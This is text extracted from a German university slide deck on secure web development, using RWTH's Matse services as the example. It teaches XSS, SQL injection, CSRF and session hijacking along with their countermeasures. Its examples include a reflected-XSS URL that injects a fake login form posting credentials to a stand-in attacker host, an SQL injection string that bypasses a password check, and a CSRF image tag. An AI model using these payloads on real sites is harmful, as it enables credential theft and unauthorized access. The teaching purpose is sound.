PowerPoint-Präsentation - RWTH

Werbung
Sicherheitsorientierte
Webentwicklung am Beispiel
der Matse-Dienste
Jan-Frederic Janssen
Rechen- und Kommunikationszentrum (RZ)
Inhaltsverzeichnis
 Motivation
 Angriffstechniken
 Ablauf/Vorgehen des Angreifers
 Abwehrmaßnahmen
 Matse-Dienste
 Überblick
 Abwehrmaßnahmen
 Fazit
2
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Motivation
3
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Motivation
 Verdeutlichung der Relevanz von Sicherheit
 Software- und Webentwickler
 Endbenutzer
 Überprüfung der Matse-Dienste auf Sicherheitslücken
 Sind eventuell welche vorhanden?
 Welche Sicherheitsvorkehrungen wurden getroffen ?
4
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Angriffstechniken
5
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Angriffstechniken
 Cross-Site-Scripting
 Ablauf
 Gegenmaßnahmen
 SQL Injection
 Cross-Site-Request-Forgery
 Session Hijacking
6
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Cross-Site-Scripting
7
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Cross-Site-Scripting (XSS)
 Manipulation einer Webseite durch HTML
 3 Arten:
1.
Reflektives XSS:
Einmalige Interpretation der übermittelten HTML-Tags
2.
Persistentes XSS:
HTML-Code wird abgespeichert
Dadurch Übermittelung der Daten an mehrere Personen/Browser
3.
Lokales XSS:
Der Browser lädt den Schadcode selber nach
Verwendung des HTML-Tags <script>
8
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Beispiel: Ablauf Reflektives XSS
 Ausgangspunkt:
 URL: http://www.example.com/?search=test
9
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Beispiel: Ablauf Reflektives XSS
 Manipulierte Webseite:
 URL: http://www.example.com/?search=<br%2F>+Please+Login+to+
continue%3A+<form+action%3D„htttp://angreifer.de/attacke.php">+
Username%3A+<input+type%3D"text+name%3D„name">+
<br%2F>+Password%3A+<input+type%3D"text"+name%3D"pwd">+
<br%2F>+<input+type%3D"submit"+value%3D"Login">+
<%2Fform>+<br%2F>
10
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Abwehrmaßnahmen
 Verhindern der Interpretation von ungewollten HTML-Tags
 Maskierung der eingegeben Daten
PHP Funktion: htmlspecialchars()
Dadurch Maskierung der HTML-Tags:
<script> = <script>
 Ausgabe nach Verwendung von htmlspecialchars():
 You searched for <br%2F>+Please+Login+to+continue%3A
+<form+action%3D„http://www.angreifer.de/attacke.php">+Username%3A+<input+type%3D"text+name%3D"login">+
<br%2F>+Password%3A+<input+type%3D"text"+name%3D"pwd">+<br%2F>+<input+type%3D"submit"+
value%3D"Login">+<%2Fform>+<br%2F>
11
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
SQL Injection
12
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
SQL Injection
 Angriff auf Datenbanksysteme
 Benutzereingaben werden in Statement eingebettet
 Verwendung von SQL Statements durch Befehle wie:
 DROP
 UPDATE
 DELETE
 WHERE
13
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Beispiel: SQL Injection
 Datenbanktabelle „user“ :
14
ID
name
password
1
Admin
root123
2
ExampleUser
passwd123
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Beispiel: Ablauf SQL Injection
SQL Statement:
SELECT id FROM user WHERE name='$name' AND password='$password';
Benutzer
PC
Eingabe: ExampleUser , passwd123
SELECT id FROM user WHERE name='ExampleUser' AND password='passwd123';
15
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Beispiel: Ablauf SQL Injection
SQL Statement:
SELECT id FROM user WHERE name='$name' AND password='$password';
Angreifer
PC
Eingabe: ExampleUser , ' OR name='ExampleUser
SELECT id FROM user WHERE name='ExampleUser' AND password='' OR name='ExampleUser';
16
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Abwehrmaßnahmen
 Verhindern der Interpretation von ungewollten SQL Befehlen
 Verwendung von Prepared Statements (vorbereitete Anweisungen mit
Platzhaltern für Daten)
$sql = 'SELECT * FROM beispiel WHERE name=:nachname';
$sth = $dbh->prepare($sql);
$sth->bindValue(":nachname", $var);
$sth->execute();
 Statement wird mit Platzhaltern kompiliert
 SQL Befehle in Variablen werden nur eingefügt
17
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Cross-Site-Request-Forgery
18
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Cross-Site-Request-Forgery (CSRF)
 Gefälschte Anfrage erzwingen
 Angreifer schickt über den Browser des Benutzers eine Anfrage an den
Webserver
 Manipulation einer Webseite durch HTML
 Manipulation einer Webseite damit die gefälschte Anfrage versendet wird
19
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Beispiel: Ablauf CSRF
 Besucher besitzt einen Account bei forum.de
http://www.forum.de/login.php
http://www.forum.de/logout.php
Webserver
evil.de
Webserver
forum.de
http://www.evil.de
<img src="http://www.forum.de/logout.php">
PC
Status: Angemeldet
Offline
20
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Abwehrmaßnahmen
 Überprüfung der Anfrage:
 Generierung eines Schlüssels zur Identifikation
Zufällige Zeichenkette
Gilt entweder für einen Request oder gesamte Sitzung
Vorhanden auf Server- sowie auf Clientseite
21
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Abwehrmaßnahmen
 Besucher besitzt einen Account bei forum.de
http://www.forum.de/login.php
http://www.forum.de/logout.php
Webserver
evil.de
Schlüssel='AdEzHdf..'
Webserver
forum.de
KeinSchlüssel=
Schlüssel 'AdEzHdf..'
!!!
http://www.evil.de
<img src="http://www.forum.de/logout.php">
PC
Status: Angemeldet
Schlüssel='AdEzHdf..'
22
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Session Hijacking
23
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Session Hijacking
 Übernahme der Sitzung eines Benutzers
 Angreifer erlangt Zugriff auf Webapplikation
 Angreifer erhält Rechte des Benutzers
 Verwendung von Software wie z.B.Wireshark oder Firesheep
24
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Beispiel: Ablauf Session Hijacking
Ungesichertes WLAN Netzwerk
ID = ACF3...
Kommunikation mit
Login
Session ID
PC
Session ID= ACF3D35F21…
Webserver
Abhören der ID
Session ID= ACF3D35F21…
Kommunikation mit
Session ID
PC
ID = ACF3...
25
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Abwehrmaßnahmen
 Verhindern des Auslesens der Sitzungsdaten
 Verschlüsseln der Informationen
 Dazu HTTPS ( Hypertext Transfer Protocol Secure)
 HTTPS:
 Verschlüsselung und Authentifizierung zwischen Webserver und Browser
26
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Matse-Dienste
27
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Matse-Dienste
 Überblick
 Gegenmaßnahmen
 Cross-Site-Scripting
 Cross-Site-Request-Forgery
 Session Hijacking
28
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Überblick
29
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Überblick
30
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Abwehrmaßnahmen
Cross-Site-Scripting
Session Hijacking
Cross-Site-Request-Forgery
31
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Abwehr Cross-Site-Scripting
32
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Matse-Dienste Abwehrmaßnahmen:
Cross-Site-Scripting
 Trennung von Code und Ausgabe
 Verwendung von Template Engine Smarty (PHP-Bibliothek)
 Smarty
33
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Abwehr Session Hijacking
34
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Matse-Dienste Abwehrmaßnahmen:
Session Hijacking
 Kooperation mit der Benutzerverwaltungssoftware Shibboleth
35
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Matse-Dienste Abwehrmaßnahmen:
Session Hijacking
 Ablauf Anmeldung:
 Benutzer führt ein Login bei Shibboleth durch
 Shibboleth authentifiziert den Benutzer und übermittelt Daten mittels HTTPS
TIM-ID und über HTTPS generierte Sitzungs-ID
36
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Abwehr
Cross-Site-Request-Forgery
37
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Matse-Dienste Abwehrmaßnahmen:
Cross-Site-Request-Forgery
 Matse-Dienste eigene CSRF-Klasse
 POST-Formular mit Hidden Feld und enthaltenem Token
 Generiert durch Webserver und dem Benutzer zugeteilt
 Ablauf:
 Browser schickt ein Formular ab
 Formular wird über mitgesendetes Token authentifiziert und abgearbeitet
38
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Fazit
39
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Fazit

Erkenntnisse:
1.
Viele Möglichkeiten Systeme zu kompromittieren
2.
Vorgestellte Themen nur ein kleiner Anteil
3.
Matse-Dienste soweit abgesichert
 Trotzdem:
1.
Programme/Software werden weiterentwickelt
Dadurch können neue Sicherheitslücken entstehen
2.
40
Neue Angriffstechniken entstehen
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Fazit
Aspekt der Sicherheit kein einmaliger Faktor
sondern
ein dauerhafter Prozess der Analyse und Behebung
41
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Fragen ?
42
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste
Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
Herunterladen